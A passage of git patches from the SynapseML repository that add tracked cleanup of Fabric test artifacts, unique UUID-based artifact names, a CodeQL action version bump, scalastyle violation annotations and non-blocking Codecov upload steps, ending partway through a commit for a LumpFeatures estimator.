core/src/test/scala/com/microsoft/azure/synapse/ml/nbtest/FabricTestArtifactTrackerSuite.scala diff --git a/core/src/test/scala/com/microsoft/azure/synapse/ml/nbtest/FabricNotebookTests.scala b/core/src/test/scala/com/microsoft/azure/synapse/ml/nbtest/FabricNotebookTests.scala index c7b300e5f62..49206afbad6 100644 --- a/core/src/test/scala/com/microsoft/azure/synapse/ml/nbtest/FabricNotebookTests.scala +++ b/core/src/test/scala/com/microsoft/azure/synapse/ml/nbtest/FabricNotebookTests.scala @@ -9,7 +9,7 @@ import com.microsoft.azure.synapse.ml.fabric.{FabricTestConstants, HasFabricOper import java.io.{File, PrintWriter} import java.time.LocalDateTime -import java.util.concurrent.{Executors, TimeUnit} +import java.util.concurrent.{ExecutorService, Executors, TimeUnit} import scala.concurrent.duration.Duration import scala.concurrent.{Await, ExecutionContext, Future, blocking} @@ -17,25 +17,28 @@ trait HasFabricNotebookTestConnection extends HasFabricOperationsConnection { fabricClientId = Some(FabricTestConstants.INTEGRATION_APP_ID) fabricRedirectUri = Some(FabricTestConstants.INTEGRATION_REDIRECT_URI) fabricWorkspaceId = Some(FabricTestConstants.INTEGRATION_WORKSPACE_ID) + + private val artifactTracker = + new FabricTestArtifactTracker(artifactId => fabric.deleteArtifact(artifactId)) + + protected def trackArtifact(artifactId: String): String = artifactTracker.track(artifactId) + + protected def cleanupTrackedArtifacts(): Unit = artifactTracker.cleanup() } class FabricTestCleanup extends TestBase with HasFabricNotebookTestConnection { test("Clean up old artifacts") { + val cutoff = LocalDateTime.now().minusDays(3) fabric.listArtifacts() + .filter(artifact => + FabricNotebookTests.isTestArtifactName(artifact.displayName) && + artifact.lastUpdatedDate.isBefore(cutoff)) .foreach(artifact => { - if (artifact.lastUpdatedDate.isBefore(LocalDateTime.now().minusDays(3))) { - println(s"Artifact cleanup: deleting artifact ${artifact.displayName}.") - println(s"Last Update Date: ${artifact.lastUpdatedDate.toString()}") - try { - fabric.deleteArtifact(artifact.objectId) - } catch { - case e: RuntimeException if e.getMessage.contains("PowerBIEntityNotFound") => - println(s"Artifact ${artifact.displayName} not found. It may have already been deleted.") - case t: Throwable => - throw t - } - } + println(s"Artifact cleanup: scheduling artifact ${artifact.displayName} for deletion.") + println(s"Last Update Date: ${artifact.lastUpdatedDate.toString()}") + trackArtifact(artifact.objectId) }) + cleanupTrackedArtifacts() } } @@ -64,11 +67,11 @@ class FabricSmokeTests extends TestBase with HasFabricNotebookTestConnection { f } - val storeArtifactId: String = fabric.createStoreArtifact() + val storeArtifactId: String = trackArtifact(fabric.createStoreArtifact()) test("OnePlusOne") { val notebookName = fabric.getBlobNameFromFilepath(notebookFile.getPath) - val artifactId = fabric.createSJDArtifact(notebookFile.getPath) + val artifactId = trackArtifact(fabric.createSJDArtifact(notebookFile.getPath)) val notebookBlobPath = fabric.uploadNotebookToAzure(notebookFile) fabric.updateSJDArtifact(notebookBlobPath, artifactId, storeArtifactId, includePackages = false) blocking { @@ -88,6 +91,14 @@ class FabricSmokeTests extends TestBase with HasFabricNotebookTestConnection { throw new RuntimeException(s"Job failed for $notebookName", t) } } + + override def afterAll(): Unit = { + try { + cleanupTrackedArtifacts() + } finally { + super.afterAll() + } + } } class FabricNotebookTests extends TestBase with HasFabricNotebookTestConnection { @@ -102,7 +113,7 @@ class FabricNotebookTests extends TestBase with HasFabricNotebookTestConnection selectedPythonFiles.foreach(x => println(s"Fabric notebook to be tested: $x")) assert(selectedPythonFiles.nonEmpty, "No notebooks found to test") - val storeArtifactId: String = fabric.createStoreArtifact() + val storeArtifactId: String = trackArtifact(fabric.createStoreArtifact()) val executorService = Executors.newFixedThreadPool(FabricNotebookTests.MaxConcurrency) implicit val executionContext: ExecutionContext = ExecutionContext.fromExecutor(executorService) @@ -111,7 +122,7 @@ class FabricNotebookTests extends TestBase with HasFabricNotebookTestConnection val futures: Array[(Future[String], String)] = selectedPythonFiles.map { notebookFile => val notebookName = fabric.getBlobNameFromFilepath(notebookFile.getPath) val future = Future { - val artifactId = fabric.createSJDArtifact(notebookFile.getPath) + val artifactId = trackArtifact(fabric.createSJDArtifact(notebookFile.getPath)) val notebookBlobPath = fabric.uploadNotebookToAzure(notebookFile) fabric.updateSJDArtifact(notebookBlobPath, artifactId, storeArtifactId) blocking { Thread.sleep(3000) } //scalastyle:ignore @@ -136,8 +147,12 @@ class FabricNotebookTests extends TestBase with HasFabricNotebookTestConnection } override def afterAll(): Unit = { - executorService.shutdown() - super.afterAll() + try { + FabricNotebookTests.shutdownExecutor(executorService) + cleanupTrackedArtifacts() + } finally { + super.afterAll() + } } } @@ -159,4 +174,40 @@ object FabricNotebookTests { // "ExploreAlgorithmsVowpalWabbitQuickstartClassificationQuantileRegressionandRegression", // "ExploreAlgorithmsVowpalWabbitQuickstartClassificationusingSparkMLVectors", ) + + private val ExecutorShutdownTimeoutSeconds = 30L + private val StoreArtifactName = "^(Lakehouse|Warehouse)\\d{14}$".r + private val SJDArtifactName = "^(.+)-\\d{8}-\\d{2}-\\d{2}-\\d{2}$".r + private val TestSJDNames = (IncludedNotebooks :+ "OnePlusOne").toSet + + private[nbtest] def shutdownExecutor(executorService: ExecutorService): Unit = { + shutdownExecutor(executorService, ExecutorShutdownTimeoutSeconds, TimeUnit.SECONDS) + } + + private[nbtest] def shutdownExecutor(executorService: ExecutorService, + timeout: Long, + timeUnit: TimeUnit): Unit = { + try { + executorService.shutdown() + if (!executorService.awaitTermination(timeout, timeUnit)) { + executorService.shutdownNow() + if (!executorService.awaitTermination(timeout, timeUnit)) { + throw new IllegalStateException("Fabric notebook tasks did not stop before artifact cleanup") + } + } + } catch { + case e: InterruptedException => + executorService.shutdownNow() + Thread.currentThread().interrupt() + throw e + } + } + + private[nbtest] def isTestArtifactName(displayName: String): Boolean = { + displayName match { + case StoreArtifactName(_) => true + case SJDArtifactName(name) => TestSJDNames(name) + case _ => false + } + } } diff --git a/core/src/test/scala/com/microsoft/azure/synapse/ml/nbtest/FabricTestArtifactTracker.scala b/core/src/test/scala/com/microsoft/azure/synapse/ml/nbtest/FabricTestArtifactTracker.scala new file mode 100644 index 00000000000..5f401624a11 --- /dev/null +++ b/core/src/test/scala/com/microsoft/azure/synapse/ml/nbtest/FabricTestArtifactTracker.scala @@ -0,0 +1,38 @@ +// Copyright (C) Microsoft Corporation. All rights reserved. +// Licensed under the MIT License. See LICENSE in project root for information. + +package com.microsoft.azure.synapse.ml.nbtest + +import java.util.concurrent.ConcurrentLinkedDeque +import scala.collection.mutable.ArrayBuffer +import scala.util.control.NonFatal + +private[nbtest] final class FabricTestArtifactTracker(deleteArtifact: String => Unit) { + private val artifactIds = new ConcurrentLinkedDeque[String]() + + def track(artifactId: String): String = { + artifactIds.push(artifactId) + artifactId + } + + def cleanup(): Unit = { + val failures = ArrayBuffer.empty[Throwable] + Iterator.continually(artifactIds.poll()).takeWhile(_ != null).foreach { artifactId => + try { + deleteArtifact(artifactId) + println(s"Artifact cleanup: deleted artifact $artifactId.") + } catch { + case e: RuntimeException if Option(e.getMessage).exists(_.contains("PowerBIEntityNotFound")) => + println(s"Artifact $artifactId was already deleted.") + case NonFatal(e) => + println(s"Artifact cleanup failed for artifact $artifactId: $e") + failures += e + } + } + + failures.headOption.foreach { failure => + failures.tail.foreach(failure.addSuppressed) + throw failure + } + } +} diff --git a/core/src/test/scala/com/microsoft/azure/synapse/ml/nbtest/FabricTestArtifactTrackerSuite.scala b/core/src/test/scala/com/microsoft/azure/synapse/ml/nbtest/FabricTestArtifactTrackerSuite.scala new file mode 100644 index 00000000000..54dee70e3c1 --- /dev/null +++ b/core/src/test/scala/com/microsoft/azure/synapse/ml/nbtest/FabricTestArtifactTrackerSuite.scala @@ -0,0 +1,115 @@ +// Copyright (C) Microsoft Corporation. All rights reserved. +// Licensed under the MIT License. See LICENSE in project root for information. + +package com.microsoft.azure.synapse.ml.nbtest + +import java.util.concurrent.{CountDownLatch, Executors, TimeUnit} +import org.scalatest.funsuite.AnyFunSuite + +import scala.collection.mutable.ArrayBuffer + +class FabricTestArtifactTrackerSuite extends AnyFunSuite { + + test("Delete tracked artifacts in reverse creation order") { + val deleted = ArrayBuffer.empty[String] + val tracker = new FabricTestArtifactTracker(artifactId => { + deleted += artifactId + () + }) + + tracker.track("store") + tracker.track("job-1") + tracker.track("job-2") + tracker.cleanup() + + assert(deleted == Seq("job-2", "job-1", "store")) + } + + test("Ignore artifacts that were already deleted") { + val attempted = ArrayBuffer.empty[String] + val tracker = new FabricTestArtifactTracker(artifactId => { + attempted += artifactId + if (artifactId == "missing") { + throw new RuntimeException("PowerBIEntityNotFound") + } + }) + + tracker.track("remaining") + tracker.track("missing") + tracker.cleanup() + + assert(attempted == Seq("missing", "remaining")) + } + + test("Attempt all deletions and preserve cleanup failures") { + val attempted = ArrayBuffer.empty[String] + val firstFailure = new RuntimeException("first failure") + val secondFailure = new RuntimeException("second failure") + val tracker = new FabricTestArtifactTracker(artifactId => { + attempted += artifactId + throw Map("first" -> firstFailure, "second" -> secondFailure)(artifactId) + }) + + tracker.track("first") + tracker.track("second") + + val thrown = intercept[RuntimeException](tracker.cleanup()) + assert(thrown eq secondFailure) + assert(thrown.getSuppressed.toSeq == Seq(firstFailure)) + assert(attempted == Seq("second", "first")) + } + + test("Recognize only SynapseML Fabric test artifact names") { + assert(FabricNotebookTests.isTestArtifactName("Lakehouse20260808010917")) + assert(FabricNotebookTests.isTestArtifactName( + "ExploreAlgorithmsRegressionQuickstartTrainRegressor-20260808-01-09-17")) + assert(FabricNotebookTests.isTestArtifactName("OnePlusOne-20260808-01-09-17")) + assert(!FabricNotebookTests.isTestArtifactName("LakehouseForManualTesting")) + assert(!FabricNotebookTests.isTestArtifactName( + "ExploreAlgorithmsAdHocNotebook-20260808-01-09-17")) + assert(!FabricNotebookTests.isTestArtifactName("CustomerNotebook-20260808-01-09-17")) + } + + test("Wait for notebook tasks before artifact cleanup") { + val executor = Executors.newSingleThreadExecutor() + val completed = new CountDownLatch(1) + try { + executor.submit(new Runnable { + override def run(): Unit = completed.countDown() + }) + + FabricNotebookTests.shutdownExecutor(executor) + + assert(completed.await(0, TimeUnit.SECONDS)) + assert(executor.isTerminated) + } finally { + executor.shutdownNow() + } + } + + test("Interrupt notebook tasks that do not stop gracefully") { + val executor = Executors.newSingleThreadExecutor() + val started = new CountDownLatch(1) + val interrupted = new CountDownLatch(1) + try { + executor.submit(new Runnable { + override def run(): Unit = { + started.countDown() + try { + new CountDownLatch(1).await() + } catch { + case _: InterruptedException => interrupted.countDown() + } + } + }) + + assert(started.await(5, TimeUnit.SECONDS)) + FabricNotebookTests.shutdownExecutor(executor, 1, TimeUnit.SECONDS) + + assert(interrupted.await(0, TimeUnit.SECONDS)) + assert(executor.isTerminated) + } finally { + executor.shutdownNow() + } + } +} diff --git a/pipeline.yaml b/pipeline.yaml index 3d52b2d1ba6..5532b30d185 100644 --- a/pipeline.yaml +++ b/pipeline.yaml @@ -323,7 +323,9 @@ jobs: inlineScript: | set -e source activate synapseml - sbt "testOnly com.microsoft.azure.synapse.ml.nbtest.FabricSmokeTests com.microsoft.azure.synapse.ml.nbtest.FabricNotebookTests" + sbt \ + "testOnly com.microsoft.azure.synapse.ml.nbtest.FabricTestCleanup" \ + "testOnly com.microsoft.azure.synapse.ml.nbtest.FabricSmokeTests com.microsoft.azure.synapse.ml.nbtest.FabricNotebookTests" env: INTEGRATION_ENV: $(sempy-integration-region) INTEGRATION_ACCOUNT: $(sempy-integration-account) diff --git a/tools/ci/tests/test_pipeline_yaml.py b/tools/ci/tests/test_pipeline_yaml.py index ee2de3fdb1b..e30073fba47 100644 --- a/tools/ci/tests/test_pipeline_yaml.py +++ b/tools/ci/tests/test_pipeline_yaml.py @@ -183,6 +183,31 @@ def test_databricks_e2e_uses_fail_open_pr_impact_detection(): assert any(step.get("displayName") == "Publish Test Results" for step in steps) +def test_fabric_e2e_cleans_stale_artifacts_before_running_tests(): + data = yaml.safe_load(_pipeline_text()) + jobs = {j.get("job"): j for j in _jobs(data["jobs"])} + fabric_e2e = jobs["FabricE2E"] + e2e_steps = [ + step + for step in fabric_e2e["steps"] + if isinstance(step, dict) and step.get("displayName") == "E2E" + ] + assert len(e2e_steps) == 1 + + script = e2e_steps[0]["inputs"]["inlineScript"] + cleanup_command = ( + '"testOnly com.microsoft.azure.synapse.ml.nbtest.FabricTestCleanup"' + ) + test_command = ( + '"testOnly com.microsoft.azure.synapse.ml.nbtest.FabricSmokeTests ' + 'com.microsoft.azure.synapse.ml.nbtest.FabricNotebookTests"' + ) + assert script.count("sbt ") == 1 + assert cleanup_command in script + assert test_command in script + assert script.index(cleanup_command) < script.index(test_command) + + def test_release_compat_accepts_github_target_and_uses_one_sbt_process(): data = yaml.safe_load(_pipeline_text()) jobs = {j.get("job"): j for j in _jobs(data["jobs"])} From 762beb7139e9bb98f694b8a02151280f413d7431 Mon Sep 17 00:00:00 2001 From: Rana Singh Date: Mon, 10 Aug 2026 16:40:02 -0700 Subject: [PATCH 37/93] fix: make Fabric artifact names unique across parallel runs (#2616) * fix: make Fabric test artifact names unique across parallel runs ## Summary Append a compact UUID to Fabric Spark Job Definition and store artifact display names so parallel CI agents cannot collide within the same timestamp second. Keep legacy artifact names eligible for stale cleanup and add deterministic naming and cleanup-recognition coverage. ## Prompting Intent Audit the merged Fabric cleanup behavior under parallel PR validation, diagnose any cross-run failures, and create a lean fix that preserves artifact ownership boundaries and the original cleanup intent while making concurrent runs reliable. ## Linked Sources - Parallel failure evidence: https://dev.azure.com/msdata/A365/_build/results?buildId=230394225 - Fabric cleanup PR: https://github.com/microsoft/SynapseML/pull/2615 - Affected validation PR: https://github.com/microsoft/SynapseML/pull/2575 ## Rationale Use random UUIDs rather than finer timestamp precision because independent agents can still observe identical clock values. Retain the timestamp for human diagnostics and stale-artifact matching, make the UUID suffix optional only in the exact cleanup allowlist so pre-fix leaks remain removable, and leave normal teardown scoped to tracked object IDs. Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> Copilot-Session: 81d39bfc-927c-418a-90a8-e0f2cd8fc128 * fix: keep Fabric store artifact names alphanumeric ## Summary Remove the separator before UUIDs in Lakehouse and Warehouse display names, while preserving the separator for Spark Job Definitions. Update stale-cleanup recognition and regression tests to enforce each artifact type's accepted format. ## Prompting Intent Monitor the parallel-validation fix in live Fabric CI, diagnose any failure precisely, and correct it without weakening uniqueness, cleanup safety, or the original intent of the pull request. ## Linked Sources - Failed validation build: https://dev.azure.com/msdata/A365/_build/results?buildId=230398662 - Fix pull request: https://github.com/microsoft/SynapseML/pull/2616 - Original collision build: https://dev.azure.com/msdata/A365/_build/results?buildId=230394225 ## Rationale Fabric accepts hyphens in Spark Job Definition display names but rejected the UUID-separated Lakehouse name as invalid. Concatenating the hexadecimal UUID directly keeps store names strictly alphanumeric, preserves the full collision-resistant identifier, and lets cleanup continue to use an exact artifact-type-specific allowlist. Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> Copilot-Session: 81d39bfc-927c-418a-90a8-e0f2cd8fc128 --------- Co-authored-by: SynapseML CI Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> Copilot-Session: 81d39bfc-927c-418a-90a8-e0f2cd8fc128 --- .../ml/fabric/FabricArtifactNamesSuite.scala | 36 +++++++++++++++++++ .../synapse/ml/fabric/FabricOperations.scala | 31 ++++++++++++---- .../ml/nbtest/FabricNotebookTests.scala | 6 ++-- .../FabricTestArtifactTrackerSuite.scala | 9 +++++ 4 files changed, 73 insertions(+), 9 deletions(-) create mode 100644 core/src/test/scala/com/microsoft/azure/synapse/ml/fabric/FabricArtifactNamesSuite.scala diff --git a/core/src/test/scala/com/microsoft/azure/synapse/ml/fabric/FabricArtifactNamesSuite.scala b/core/src/test/scala/com/microsoft/azure/synapse/ml/fabric/FabricArtifactNamesSuite.scala new file mode 100644 index 00000000000..3f27176d5ed --- /dev/null +++ b/core/src/test/scala/com/microsoft/azure/synapse/ml/fabric/FabricArtifactNamesSuite.scala @@ -0,0 +1,36 @@ +// Copyright (C) Microsoft Corporation. All rights reserved. +// Licensed under the MIT License. See LICENSE in project root for information. + +package com.microsoft.azure.synapse.ml.fabric + +import org.scalatest.funsuite.AnyFunSuite + +import java.time.LocalDateTime +import java.util.UUID + +class FabricArtifactNamesSuite extends AnyFunSuite { + private val testTime = LocalDateTime.of(2026, 8, 9, 2, 18, 35) + private val testId = UUID.fromString("01234567-89ab-cdef-0123-456789abcdef") + private val otherTestId = UUID.fromString("fedcba98-7654-3210-fedc-ba9876543210") + + test("Add a unique suffix to Spark Job Definition names") { + assert( + FabricArtifactNames.sjd("TestNotebook", testTime, testId) == + "TestNotebook-20260809-02-18-35-0123456789abcdef0123456789abcdef") + } + + test("Add a unique suffix to store artifact names") { + assert( + FabricArtifactNames.store("Lakehouse", testTime, testId) == + "Lakehouse202608090218350123456789abcdef0123456789abcdef") + } + + test("Distinguish artifacts created with the same timestamp") { + assert( + FabricArtifactNames.sjd("TestNotebook", testTime, testId) != + FabricArtifactNames.sjd("TestNotebook", testTime, otherTestId)) + assert( + FabricArtifactNames.store("Lakehouse", testTime, testId) != + FabricArtifactNames.store("Lakehouse", testTime, otherTestId)) + } +} diff --git a/core/src/test/scala/com/microsoft/azure/synapse/ml/fabric/FabricOperations.scala b/core/src/test/scala/com/microsoft/azure/synapse/ml/fabric/FabricOperations.scala index aa31fc2b177..fb97784ded7 100644 --- a/core/src/test/scala/com/microsoft/azure/synapse/ml/fabric/FabricOperations.scala +++ b/core/src/test/scala/com/microsoft/azure/synapse/ml/fabric/FabricOperations.scala @@ -25,11 +25,31 @@ import java.net.URLEncoder import java.nio.file.{Files, Path} import java.time.LocalDateTime import java.time.format.DateTimeFormatter +import java.util.UUID import scala.annotation.tailrec import scala.concurrent.{ExecutionContext, Future, TimeoutException, blocking} import scala.util.Try import scala.util.control.Breaks.{break, breakable} +private[fabric] object FabricArtifactNames { + private val SjdTimestampFormat = DateTimeFormatter.ofPattern("yyyyMMdd-HH-mm-ss") + private val StoreTimestampFormat = DateTimeFormatter.ofPattern("yyyyMMddHHmmss") + + def sjd(runName: String): String = + sjd(runName, LocalDateTime.now(), UUID.randomUUID()) + + def store(storeName: String): String = + store(storeName, LocalDateTime.now(), UUID.randomUUID()) + + private[fabric] def sjd(runName: String, now: LocalDateTime, uniqueId: UUID): String = + s"$runName-${SjdTimestampFormat.format(now)}-${compact(uniqueId)}" + + private[fabric] def store(storeName: String, now: LocalDateTime, uniqueId: UUID): String = + s"$storeName${StoreTimestampFormat.format(now)}${compact(uniqueId)}" + + private def compact(uniqueId: UUID): String = uniqueId.toString.replace("-", "") +} + private[fabric] class FabricOperations(clientId: String, redirectUri: String, workspaceId: String) extends FabricInternalConnection(clientId, redirectUri, workspaceId) { @@ -94,14 +114,12 @@ private[fabric] class FabricOperations(clientId: String, redirectUri: String, wo def createSJDArtifact(path: String, artifactType: String): String = { val runName = getBlobNameFromFilepath(path).replace(".py", "") - - val dtf = DateTimeFormatter.ofPattern("yyyyMMdd-HH-mm-ss") - val now = dtf.format(LocalDateTime.now) + val displayName = FabricArtifactNames.sjd(runName) val reqBody: String = s""" |{ - | "displayName": "$runName-$now", + | "displayName": "$displayName", | "description": "Synapse Spark Job Definition $artifactType", | "artifactType": "$artifactType" |} @@ -113,13 +131,12 @@ private[fabric] class FabricOperations(clientId: String, redirectUri: String, wo def createStoreArtifact(): String = { val store = Secrets.ArtifactStore.capitalize - val dtf = DateTimeFormatter.ofPattern("yyyyMMddHHmmss") - val now = dtf.format(LocalDateTime.now) + val displayName = FabricArtifactNames.store(store) val reqBody: String = s""" |{ - | "displayName": "$store$now", + | "displayName": "$displayName", | "description": "SynapseML Test Infra $store", | "artifactType": "$store" |} diff --git a/core/src/test/scala/com/microsoft/azure/synapse/ml/nbtest/FabricNotebookTests.scala b/core/src/test/scala/com/microsoft/azure/synapse/ml/nbtest/FabricNotebookTests.scala index 49206afbad6..65cc88a666f 100644 --- a/core/src/test/scala/com/microsoft/azure/synapse/ml/nbtest/FabricNotebookTests.scala +++ b/core/src/test/scala/com/microsoft/azure/synapse/ml/nbtest/FabricNotebookTests.scala @@ -176,8 +176,10 @@ object FabricNotebookTests { ) private val ExecutorShutdownTimeoutSeconds = 30L - private val StoreArtifactName = "^(Lakehouse|Warehouse)\\d{14}$".r - private val SJDArtifactName = "^(.+)-\\d{8}-\\d{2}-\\d{2}-\\d{2}$".r + private val UniqueArtifactId = "[0-9a-fA-F]{32}" + private val StoreArtifactName = s"^(Lakehouse|Warehouse)\\d{14}(?:$UniqueArtifactId)?$$".r + private val SJDArtifactName = + s"^(.+)-\\d{8}-\\d{2}-\\d{2}-\\d{2}(?:-$UniqueArtifactId)?$$".r private val TestSJDNames = (IncludedNotebooks :+ "OnePlusOne").toSet private[nbtest] def shutdownExecutor(executorService: ExecutorService): Unit = { diff --git a/core/src/test/scala/com/microsoft/azure/synapse/ml/nbtest/FabricTestArtifactTrackerSuite.scala b/core/src/test/scala/com/microsoft/azure/synapse/ml/nbtest/FabricTestArtifactTrackerSuite.scala index 54dee70e3c1..359478dc6e5 100644 --- a/core/src/test/scala/com/microsoft/azure/synapse/ml/nbtest/FabricTestArtifactTrackerSuite.scala +++ b/core/src/test/scala/com/microsoft/azure/synapse/ml/nbtest/FabricTestArtifactTrackerSuite.scala @@ -61,10 +61,19 @@ class FabricTestArtifactTrackerSuite extends AnyFunSuite { test("Recognize only SynapseML Fabric test artifact names") { assert(FabricNotebookTests.isTestArtifactName("Lakehouse20260808010917")) + assert(FabricNotebookTests.isTestArtifactName( + "Lakehouse202608080109170123456789abcdef0123456789abcdef")) assert(FabricNotebookTests.isTestArtifactName( "ExploreAlgorithmsRegressionQuickstartTrainRegressor-20260808-01-09-17")) + assert(FabricNotebookTests.isTestArtifactName( + "ExploreAlgorithmsRegressionQuickstartTrainRegressor-20260808-01-09-17-" + + "0123456789abcdef0123456789abcdef")) assert(FabricNotebookTests.isTestArtifactName("OnePlusOne-20260808-01-09-17")) assert(!FabricNotebookTests.isTestArtifactName("LakehouseForManualTesting")) + assert(!FabricNotebookTests.isTestArtifactName( + "Lakehouse20260808010917-not-a-unique-id")) + assert(!FabricNotebookTests.isTestArtifactName( + "Lakehouse20260808010917-0123456789abcdef0123456789abcdef")) assert(!FabricNotebookTests.isTestArtifactName( "ExploreAlgorithmsAdHocNotebook-20260808-01-09-17")) assert(!FabricNotebookTests.isTestArtifactName("CustomerNotebook-20260808-01-09-17")) From ff82ab392bb47733dc3dcb57c8cf20e354520c42 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Mon, 10 Aug 2026 21:42:58 -0700 Subject: [PATCH 38/93] chore(deps): bump github/codeql-action/* from 4.37.5 to 4.37.6 (#2618) * chore(deps): bump github/codeql-action/autobuild from 4.37.5 to 4.37.6 Bumps [github/codeql-action/autobuild](https://github.com/github/codeql-action) from 4.37.5 to 4.37.6. - [Release notes](https://github.com/github/codeql-action/releases) - [Changelog](https://github.com/github/codeql-action/blob/main/CHANGELOG.md) - [Commits](https://github.com/github/codeql-action/compare/d1ba80a13dd99fba24a470575428917156a28b43...5595ccaf912efad79be6eef63a5619ff05969be3) --- updated-dependencies: - dependency-name: github/codeql-action/autobuild dependency-version: 4.37.6 dependency-type: direct:production update-type: version-update:semver-patch ... Signed-off-by: dependabot[bot] * chore(ci): bump remaining CodeQL actions to v4.37.6 Co-authored-by: ranadeepsingh <16433904+ranadeepsingh@users.noreply.github.com> --------- Signed-off-by: dependabot[bot] Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> Co-authored-by: copilot-swe-agent[bot] <198982749+Copilot@users.noreply.github.com> Co-authored-by: ranadeepsingh <16433904+ranadeepsingh@users.noreply.github.com> --- .github/workflows/codeql.yml | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/.github/workflows/codeql.yml b/.github/workflows/codeql.yml index 4dc5a73f578..8bb8eb16f7c 100644 --- a/.github/workflows/codeql.yml +++ b/.github/workflows/codeql.yml @@ -46,7 +46,7 @@ jobs: # Initializes the CodeQL tools for scanning. - name: Initialize CodeQL - uses: github/codeql-action/init@d1ba80a13dd99fba24a470575428917156a28b43 # v4.37.5 + uses: github/codeql-action/init@5595ccaf912efad79be6eef63a5619ff05969be3 # v4.37.6 with: languages: ${{ matrix.language }} # Explicitly set source-root to handle runner directory naming @@ -56,7 +56,7 @@ jobs: # Autobuild attempts to build any compiled languages (C/C++, C#, Go, or Java). # If this step fails, then you should remove it and run the build manually (see below) - name: Autobuild - uses: github/codeql-action/autobuild@d1ba80a13dd99fba24a470575428917156a28b43 # v4.37.5 + uses: github/codeql-action/autobuild@5595ccaf912efad79be6eef63a5619ff05969be3 # v4.37.6 # ℹ️ Command-line programs to run using the OS shell. # 📚 See https://docs.github.com/en/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idstepsrun @@ -69,6 +69,6 @@ jobs: # ./location_of_script_within_repo/buildscript.sh - name: Perform CodeQL Analysis - uses: github/codeql-action/analyze@d1ba80a13dd99fba24a470575428917156a28b43 # v4.37.5 + uses: github/codeql-action/analyze@5595ccaf912efad79be6eef63a5619ff05969be3 # v4.37.6 with: category: "/language:${{matrix.language}}" From 1bc268ebb3d258d9d477d4409041c1b04fd7bf0d Mon Sep 17 00:00:00 2001 From: Rana Singh Date: Mon, 10 Aug 2026 23:13:49 -0700 Subject: [PATCH 39/93] ci: annotate scalastyle violations and stop coverage upload failing the build (#2621) --- .github/workflows/pr-validation.yml | 51 ++++++++++++++++++++++++++++- pipeline.yaml | 1 + templates/codecov.yml | 1 + 3 files changed, 52 insertions(+), 1 deletion(-) diff --git a/.github/workflows/pr-validation.yml b/.github/workflows/pr-validation.yml index 3fec6a227d1..e4106ddded5 100644 --- a/.github/workflows/pr-validation.yml +++ b/.github/workflows/pr-validation.yml @@ -55,7 +55,56 @@ jobs: sbt sbtVersion - name: Scalastyle check - run: sbt scalastyle test:scalastyle + run: | + set -o pipefail + sbt scalastyle test:scalastyle 2>&1 | tee "$RUNNER_TEMP/scalastyle-output.log" + + - name: Annotate scalastyle violations + if: failure() + run: | + set -uo pipefail + log="$RUNNER_TEMP/scalastyle-output.log" + [ -f "$log" ] || exit 0 + workspace="${GITHUB_WORKSPACE%/}/" + # sbt colorizes its output, so strip ANSI escapes before matching + violations="$(sed -e 's/\x1B\[[0-9;]*[a-zA-Z]//g' "$log" \ + | grep -aE '^\[(error|warn)\] .+\.scala:[0-9]+(:[0-9]+)?: ' \ + | awk '!seen[$0]++' || true)" + if [ -z "$violations" ]; then + echo "No scalastyle violations found in the log; the failure is reported in the step above." + exit 0 + fi + # Workflow commands treat %, CR and LF specially; property values + # additionally need : and , encoded + encode() { + local value="${1//%/%25}" + value="${value//$'\r'/%0D}" + value="${value//$'\n'/%0A}" + if [ "${2:-}" = "property" ]; then + value="${value//:/%3A}" + value="${value//,/%2C}" + fi + printf '%s' "$value" + } + while IFS= read -r violation; do + case "$violation" in + '[warn]'*) severity="warning" ;; + *) severity="error" ;; + esac + body="${violation#*] }" + location="${body%%: *}" + message="${body#*: }" + file="${location%%:*}" + position="${location#*:}" + lineno="${position%%:*}" + # File-level checks (line length, tabs, EOF newline) report no column + if [ "$position" = "$lineno" ]; then + column="" + else + column=",col=${position#*:}" + fi + echo "::${severity} file=$(encode "${file#"$workspace"}" property),line=${lineno}${column}::$(encode "$message")" + done <<< "$violations" - name: Compile run: sbt compile test:compile diff --git a/pipeline.yaml b/pipeline.yaml index 5532b30d185..79d4a8ff131 100644 --- a/pipeline.yaml +++ b/pipeline.yaml @@ -872,6 +872,7 @@ jobs: displayName: Load Codecov token condition: succeededOrFailed() retryCountOnTaskFailure: 3 + continueOnError: true inputs: azureSubscription: 'SynapseML Build' keyVaultName: mmlspark-keys diff --git a/templates/codecov.yml b/templates/codecov.yml index 13d921d1191..9a7e3db76d9 100644 --- a/templates/codecov.yml +++ b/templates/codecov.yml @@ -21,3 +21,4 @@ steps: retryCountOnTaskFailure: 1 displayName: Upload Coverage Report To Codecov.io condition: succeededOrFailed() + continueOnError: true From cd9ab7b8b65423bc4efe20073707f7d072ce42f7 Mon Sep 17 00:00:00 2001 From: Rana Singh Date: Tue, 11 Aug 2026 01:58:25 -0700 Subject: [PATCH 40/93] feat: add persisted top-K categorical lumping (#2596) * feat: add persisted categorical top-K lumping ## Summary Add LumpFeatures as a Spark ML estimator with a persisted model, deterministic top-K learning, explicit other-bucket and null semantics, schema-safe transforms, generated bindings, and comprehensive tests. ## Prompting Intent Recreate the valuable proposal from GitHub PR #1941 for current SynapseML without fitting during transform. Preserve lumpRules compatibility while covering persistence, copy behavior, special column names, unseen values, collisions, and Scala-first Python code generation. ## Linked Sources - Original proposal PR: https://github.com/microsoft/SynapseML/pull/1941 - Feature request: https://github.com/microsoft/SynapseML/issues/1891 - No Azure DevOps work item was supplied; tracking is through the linked GitHub issue. ## Rationale Learn category frequencies once in fit and persist only retained values so scoring is stable and side-effect free. Restrict v1 to string columns, rank ties by value, preserve nulls by default, and reject other-bucket collisions rather than silently merging real categories. Use Spark SQL expressions instead of UDFs and retain the multi-column lumpRules API. Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> * test: register LumpFeaturesModel fuzzers ## Summary Add dedicated transformer fuzzing coverage for LumpFeaturesModel so global experiment, serialization, Python, and R coverage gates recognize the persisted model. ## Prompting Intent Repair the concrete UnitTests core failure from PR #2596 after Azure build 229219360 reported that LumpFeaturesModel had no directly registered fuzzers, while preserving all estimator tests. ## Linked Sources - Pull request: https://github.com/microsoft/SynapseML/pull/2596 - Failed Azure 